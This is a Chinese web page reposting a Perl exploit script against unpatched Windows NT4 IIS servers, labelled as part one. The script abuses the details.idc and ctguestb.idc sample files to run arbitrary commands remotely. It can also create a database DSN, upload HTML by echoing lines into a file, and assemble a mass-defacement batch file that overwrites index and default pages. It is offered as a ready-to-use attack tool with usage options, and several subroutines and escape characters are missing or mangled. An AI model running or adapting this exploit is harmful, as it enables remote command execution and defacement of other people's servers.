分享
 
 
 

攻击NT4没打补丁的perl程序(上)

王朝perl·作者佚名  2008-05-18
窄屏简体版  字體: |||超大  

#!/usr/bin/perl

#####################################################################

# NewDSN.exe/CTGuestB.idc/Details.idc exploit by Scrippie/Phreak.nl #

#####################################################################

# Fuck JP # Version 1.3 #

################################################

# Part of this source has been ripped from RFP #

# Exploit idea also by RFP ######################

# Much love to: Maja, Dopey, Hester # #

# Cheers to: #phreak.nl # Maja, I love you #

################################################ #

# 最新添加的功能 ################################

# - 强制命令模式 # Mail me at: ronald@grafix.nl #

# - 可以上载.html文件 ################################

# - 检测是否 .idc 文件漏洞已经修复 #

#########################################################

# ToDo: #

# <Xphere> gebruik ord() liever #

# <Xphere> #weeh = ord($char); #

# <Xphere> $weeh = ord($char); #

# <Xphere> krijg je nummer #

####################################

use Socket;

use Getopt::Std;

getopts("wcdh:u:fm:g:", %args);

print("NewDSN exploit v 1.3 -- Scrippie / Phreak.nlnn");

if (!defined $args{h}) {

print("Usage: dsnhack.pl -h <host>n");

print("t-c = create a new M$ Access DSN (Web SQL)n");

print("t-d = 通过几个程序溢出得出系统绝对路径n");

print("t-f = 强制命令执行(跳过检测.idc等文件)n");

print("t-g <server:filename> = 通过FTP上载文件到NT服务器n");

print("t-h <host> = 想扫描的主机地址n");

print("t-u <filename> = 上载HTML文件n");

print("t-w = 对Win 95的支持n");

print("t-m <dir /s /b file> = Mass deface (see documentation)n");

exit; }

$host = $args{h};

$target = inet_aton($host) // die("inet_aton problems; host doesn't exist?");

if(defined $args{d}) {

print("* [ Trying to get the hard path with the .idc flaw ] *nn ");

$temp = &idc_bug;

if($temp ne "") { print $temp; }

else { print "Failed..."; }

print("nn* [ Trying to get the hard path with the .ida flaw ] *nn ");

$temp = &ida_bug;

if($temp ne "") { print $temp; }

else { print "Failed..."; }

print("nn* [ Trying to get the hard path with the .pl flaw ] *nn ");

$temp = &pl_bug;

if($temp ne "") { print("$tempn"); }

else { print "Failed...n"; }

exit;

}

if(defined $args{g}) {

&upload_file($args{g});

exit;

}

if(defined $args{u}) {

open(HTMLFILE, "<" . $args{u}) or die "Cannot open $args{u}: $!n";

print("* Now uploading: $args{u} to C:\phreak.htm on $args{h}n ");

while(<HTMLFILE>) {

s/([<^>])/^$1/g; # Escape using the WinNT ^ escape char

s/([x0Dx0A])//g; # Filter r, n chars

s///^/chr(124)//g; # Convert / chars

s/"/^/chr(34)//g; # Convert " chars

s/&/^/chr(38)//g; # Convert & chars

if($_ ne "") {

$upcmd = "cmd /c echo " . $_ . " >> C:\phreak.htm";

&exec_cmd($upcmd);

}

}

print("Done!n");

close(HTMLFILE);

exit;

}

if(defined $args{m}) {

&list_deface_bat($args{m});

exit;

}

if(defined $args{c}) {

if(!defined $args{f}) {

print("* [Checking for necessary files] *nn");

&check_cgis;

}

else { print("* Forced command mode on - Skipping checksn"); }

print("n* Now trying to create "Web SQL" DSN... ");

if(&make_dsn == 0) { print("<failed> *n"); exit; }

else { print("<success> *n"); }

print("nInitializing GuestBook by GETting ctguestb.idcn");

&init_gb;

}

else {

if(!defined $args{f}) {

print("Checking for: details.idct-- ");

if(&check_details == 0) { print("Not Found :(n"); exit; }

else { print("Found :)n"); }

}

else { print("* Forced command mode on - Skipping checksn"); }

}

if (defined $args{w}) { $comm="command /c"; } else { $comm="cmd /c"; }

print("nType the command line you want to run ($comm assumed):n");

print("$comm ");

$in=<STDIN>

chomp $in;

$command="$comm " . $in ;

&exec_cmd($command);

######################################

# 用details.idc来执行系统命令 #

######################################

sub exec_cmd {

my ($command) = @_;

$command =~ s/s/+/g; # Convert spaces to plusses (%20 will also work)

sendraw("GET /scripts/samples/details.idc?Fname=hi&Lname=/shell("$command")/"

. " HTTP/1.0nn");

}

###########################################

# 上载.bat文件 #

###########################################

sub list_deface_bat {

my ($dir_file) = @_;

open(DIRFILE, $dir_file) or die "Cannot open $args{m}: $!n";

print("--- Go and have a beer - this will take a whilenn");

while(<DIRFILE>) {

s/([x0Ax0D])//; # Yes, I dislike chop() - it doesn't cope with rn newlines

# in a *nix environment

if(/index.htm/ // /index.asp/ // /default.htm/ // /default.asp/ //

/home.htm/ // /home.asp/ // /main.htm/ // /main.asp/ // /inhoud.htm/

// /inhoud.asp/ // /index.stm/) {

print(" Adding $_ to our mass deface batch filen");

&exec_cmd("cmd /c echo copy C:\phreak.htm $_ >> c:\phjear.bat");

}

}

print("n* Behave and don't run C:\phjear.bat You Filthy ScR/pT K1dx0r!n");

print(" Oh, did you know this stuff is VERY easy to spot in the logs? *grin*

n");

}

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有